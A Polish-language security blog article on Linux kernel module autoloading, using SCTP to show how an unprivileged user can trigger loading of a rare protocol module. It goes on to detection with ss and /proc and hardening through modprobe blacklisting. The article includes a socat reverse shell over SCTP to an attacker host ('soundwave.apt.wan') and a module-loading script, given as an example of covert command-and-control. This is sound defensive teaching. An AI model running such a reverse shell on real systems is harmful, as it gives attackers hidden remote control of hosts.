Kontrola modułów i protokołów sieciowych na przykładzie SCTP
Napisał: Patryk Krawaczyński
Today w Bezpieczeństwo, Pen Test Brak komentarzy. (artykuł nr 955, ilość słów: 2241)
N
iemal każdy serwer oparty na systemie operacyjnym Linux pełni konkretną rolę w publicznych i prywatnych sieciach. Hostując wybrane przez nas usługi obsługuje naszych użytkowników. Może wcielać się na przykład w rolę: zapory sieciowej, bazy danych, web|cache proxy, repozytorium kodu, rozproszonego systemu pamięci masowej, węzła K8S itd. Każda z tych ról wymaga odpowiednio dobranego oprogramowania i konfiguracji. Mimo to zasada pozostaje tutaj ta sama: im więcej pakietów (lub ich zależności) znajduje się w systemie, tym większa jest powierzchnia ataku (ang. attack surface). Dlatego wybierając konkretną rolę dla naszego serwera powinniśmy dbać o jego higienę oprogramowania. To samo odnosi się do modułów jądra i obsługi niezbędnych protokołów sieciowych. Serwer znajdujący się wyłącznie w sieci IPv4 nie musi zapewniać obsługi IPv6, a w 99% przypadków komunikacja w naszej sieci domowej / firmowej odbywa się wyłącznie za pomocą protokołów TCP i UDP.
Dla zobrazowania konsekwencji naruszenia wyżej opisanych zaleceń przejdźmy przez następujący scenariusz: użytkownik posiadający możliwość uruchomienia prostego skryptu w języku python (bezpośrednio w systemie lub przez kontener) uruchamia na „czystym” (bez zbędnie załadowanych protokołów) serwerze następujący kod:
#!/usr/bin/env python3
import socket
# Wartość liczbowa protokołu SCTP (IPPROTO_SCTP) w Linuksie to 132
# cat /usr/src/linux-headers-6.8.0-146/include/linux/socket.h | grep SCTP
# define SOL_SCTP 132
IPPROTO_SCTP = getattr(socket, "IPPROTO_SCTP", 132)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, IPPROTO_SCTP)
print("Gniazdo utworzone pomyślnie – jądro załadowało moduł SCTP.")
s.close()
except OSError as e:
print(f"Nie udało się załadować modułu SCTP / utworzyć gniazda: {e}")
Plik zapisujemy jako load_module.py i uruchamiamy:
agresor@darkstar:~$ lsmod | grep sctp agresor@darkstar:~$ python3 load_module.py Gniazdo utworzone pomyślnie – jądro załadowało moduł SCTP. agresor@darkstar:~$ lsmod | grep sctp sctp 495616 2 ip6_udp_tunnel 16384 1 sctp udp_tunnel 32768 1 sctp libcrc32c 12288 3 btrfs,raid456,sctp agresor@darkstar:~$ modinfo sctp filename: /lib/modules/6.8.0-146-generic/kernel/net/sctp/sctp.ko.zst license: GPL description: Support for the SCTP protocol (RFC2960) author: Linux Kernel SCTP developersalias: net-pf-10-proto-132 alias: net-pf-2-proto-132 srcversion: 99BB64788A9F48823A9C483 depends: udp_tunnel,ip6_udp_tunnel,libcrc32c retpoline: Y intree: Y name: sctp
Mimo, że użytkownik nie posiadał podniesionych uprawnień był w stanie załadować do jądra moduł: sctp.ko. Dzieje się tak, gdy dowolny proces (w tym zwykły, nieuprzywilejowany użytkownik lub proces w kontenerze) wywoła funkcję systemową tworzenia gniazda sieciowego:
socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
W uproszczeniu: jądro systemu sprawdza wówczas bazę aliasów protokołów sieciowych (net-pf-2-proto-132 dla IPv4 lub net-pf-10-proto-132 dla IPv6):
agresor@darkstar:~$ grep net-pf- /lib/modules/`uname -r`/modules.alias | grep sctp alias net-pf-10-proto-132 sctp alias net-pf-2-proto-132 sctp alias net-pf-16-proto-4-type-2-132 sctp_diag
Następnie automatycznie uruchamia procedurę ładowania modułu poprzez polecenie w przestrzeni użytkownika, ale z uprawnieniami administratora:
/sbin/modprobe sctp
Mechanizm ten nosi nazwę automatycznego ładowania modułów (ang. kernel module autoloading). O ile bardzo ułatwia on użytkowanie komputerów stacjonarnych np. gdy chcemy podłączyć urządzenia USB albo użyć innego systemu plików, a odpowiedni moduł nie jest jeszcze załadowany – jądro wywołuje wcześniej wspomnianą funkcję request_module(), aby zapewnić nam poprawną obsługę naszego żądania. O tyle w przypadku środowisk serwerowych jest często krytykowane ze względów bezpieczeństwa, ponieważ nieuprzywilejowani użytkownicy mogą próbować wywoływać ładowanie rzadkich, a co gorsza podatnych modułów.
Jest to szczególnie ważne w przypadku podatności typu: CVE-2017-6074 (protokół: Datagram Congestion Control Protocol) lub CVE-2026-64564 (protokół: Stream Control Transmission Protocol) itp., które po wielu latach znajdowane są w stosie sieciowym jądra systemu Linux. W rezultacie nie możemy być już zaskoczeni, gdy w najbliższej przyszłości ujawni się więcej, groźniejszych błędów tego rodzaju. Jednak błędna konfiguracja niepotrzebnie zwiększająca powierzchnię ataku na jądro systemu (wyzwolona przez zwykłego użytkownika) to tylko jedna strona medalu. Drugą może być wykorzystanie przez atakującego „obcego” protokołu jako ukrytego kanału komunikacji z serwerem C2 (ang. Command & Control) lub do przemieszczania się wewnątrz sieci lokalnej (ang. lateral movement). Komunikacja nietypowym protokołem może pozostać niezauważona przez systemy bezpieczeństwa skoncentrowane na ruchu TCP/UDP, a czasami nawet prowadzić do omijania zapór sieciowych. Poniżej znajduje się prosty przykład odwrotnej powłoki (ang. reverse shell) z użyciem programu socat i protokołu SCTP. Na maszynie atakującego uruchamiany nasłuch:
root@soundwave:~# socat SCTP-Listen:443 STDOUT
Z maszyny, na której został załadowany moduł SCTP przez skrypt w języku python otwieramy kanał komunikacji przekazując powłokę poleceń atakującemu:
agresor@darkstar:~$ socat SCTP:soundwave.apt.wan:443 EXEC:/bin/bash
Po podłączeniu agresor może wykonywać polecenia systemowe:
root@soundwave:~# socat SCTP-Listen:443 STDOUT uname -a Linux darkstar.lan 6.8.0-146-generic #146-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 3 16:12:30 UTC hostname -f darkstar.lan
Jeśli uruchomimy teraz polecania takie jak: netstat, czy jego następcę: ss z typowymi parametrami dla protokołów TCP/UDP, nie zobaczymy powyższego typu połączenia:
root@darkstar:~# ss -tun Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port tcp ESTAB 0 0 10.82.12.49:9099 10.65.25.40:37776 tcp CLOSE-WAIT 1 0 10.82.12.49:47988 10.65.26.123:8140 tcp ESTAB 0 0 10.82.12.49:9099 10.32.145.17:47110 tcp CLOSE-WAIT 1 0 10.82.12.49:48004 10.65.26.123:8140
W tym przypadku musimy użyć konkretnych flag, aby mieć pewność, że wyświetlone zostaną wszystkie gniazda TCP/UDP + SCTP w stanie nawiązanych połączeń:
root@darkstar:~# ss -Stun
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
tcp ESTAB 0 0 10.82.12.49:9099 10.65.25.40:37776
tcp CLOSE-WAIT 1 0 10.82.12.49:47988 10.65.26.123:8140
tcp ESTAB 0 0 10.82.12.49:9099 10.32.145.17:47110
tcp CLOSE-WAIT 1 0 10.82.12.49:48004 10.65.26.123:8140
sctp ESTAB 0 0 10.82.12.49:57650 10.82.12.53:443
`- ESTAB 0 0 10.82.12.49%eth0:57650 10.82.12.53:443
Możemy też sprawdzić jakie aktualnie protokoły są załadowane i używane w systemie poprzez polecenie:
root@darkstar:~# cat /proc/net/protocols protocol size sockets memory press maxhdr slab module cl co di ac io in de sh ss gs SCTPv6 1536 1 0 no 0 yes sctp y n y y y y y y y y SCTP 1376 1 0 no 0 yes sctp y n y y y y y y y y QIPCRTR 784 0 -1 NI 0 yes qrtr n n n n n n n n n n PACKET 1536 3 -1 NI 0 no kernel n n n n n n n n n n MPTCPv6 2096 0 85 no 0 yes kernel y y y n y y y y y y PINGv6 1184 0 -1 NI 0 yes kernel y y y n n y n n y y RAWv6 1184 1 -1 NI 0 yes kernel y y y n y y y n y y UDPLITEv6 1344 0 8 NI 0 yes kernel y y y n y y y n y y UDPv6 1344 1 8 NI 0 yes kernel y y y n y y y n y y TCPv6 2496 2 85 no 320 yes kernel y y y y y y y y y y XDP 960 0 -1 NI 0 no kernel n n n n n n n n n n
Na koniec możemy sprawdzić jeszcze dwa pliki ze ścieżki /proc/net/sctp/. Pierwszy (eps), aby dowiedzieć się czy istnieją jakieś gniazda w stanie nasłuchiwania (ang. listening) oczekujące na nowe połączenia:
root@soundwave:~# cat /proc/net/sctp/eps ENDPT SOCK STY SST HBKT LPORT UID INODE LADDRS ffff8962d2e18800 ffff8962e282cd00 2 10 3 443 0 57299604 0.0.0.0 root@soundwave:~# find /proc/[0-9]*/fd/ -lname "*57299604*" 2>/dev/null /proc/1125154/fd/5 root@soundwave:~# ls -al /proc/1125154/fd/5 lrwx------ 1 root root 64 Oct 14 21:17 /proc/1125154/fd/5 -> 'socket:[57299604]' root@soundwave:~# cat /proc/1125154/cmdline socatSCTP-Listen:443STDOUT
Drugi (assocs), aby sprawdzić asocjacje już pomyślnie nawiązane:
root@darkstar:~# cat /proc/net/sctp/assocs ASSOC SOCK STY SST ST HBKT ASSOC-ID TX_QUEUE RX_QUEUE UID INODE LPORT RPORT ffff8917b017c000 ffff8917b02d4d00 2 1 3 0 5 0 0 1485 52285117 57650 443 LADDRS <-> RADDRS HBINT INS OUTS MAXRT T1X T2X RTXC wmema wmemq sndbuf rcvbuf 10.82.12.49 <-> *10.82.12.53 30000 10 10 10 0 0 0 1 0 212992 212992 root@darkstar:~# find /proc/[0-9]*/fd/ -lname "*52285117*" 2>/dev/null /proc/640971/fd/5 root@darkstar:~# ls -al /proc/640971/fd/5 lrwx------ 1 agresor agresor 64 Oct 14 21:31 /proc/640971/fd/5 -> 'socket:[52285117]' root@darkstar:~# cat /proc/640971/cmdline socatSCTP:soundwave.apt.wan:443EXEC:/bin/bash
Podsumowanie:
Większość popularnych dystrybucji umieszcza różne protokoły sieciowe na „czarnej liście” (ang. blacklist), co znacząco ogranicza powierzchnię ataku. Niestety nie jest ona aktualizowana wraz z cyklem życia wykrywania nowych podatności, a raczej cyklem wydawniczym nowych wersji dystrybucji. W między czasie wywiera to na nas presję do podejmowania własnych korekt fabrycznej ewidencji (/etc/modprobe.d/blacklist-rare-network.conf w Ubuntu) przydatnych i nieprzydatnych modułów. Dobrym punktem odniesienia przy takich modyfikacjach są rekomendacje standardów bezpieczeństwa. Na przykład STIG dla systemów z rodziny RedHat – zaleca wyłączenie protokołu SCTP, gdy platforma systemowa nie przewiduje jego wykorzystania:
root@darkstar:~# echo 'blacklist sctp' > /etc/modprobe.d/sctp.conf root@darkstar:~# echo 'install sctp /bin/false' >> /etc/modprobe.d/sctp.conf root@darkstar:~# update-initramfs -u agresor@darkstar:~$ python3 load_module.py Nie udało się załadować modułu SCTP / utworzyć gniazda: [Errno 93] Protocol not supported
Innym podejściem jest całkowita blokada ładowania nowych modułów, jak tylko zostaną załadowane wszystkie niezbędne do poprawnego działania naszego serwera w wybranej konfiguracji.
Więcej informacji: Ancient local privilege escalation vulnerability in the kernel announced, SCTPhantom: An 18-Year-Old SCTP ASCONF Transport Use-After-Free, SCTP Protocol Attack Risks on Linux
Poprzedni wpis Brak nowszych postów

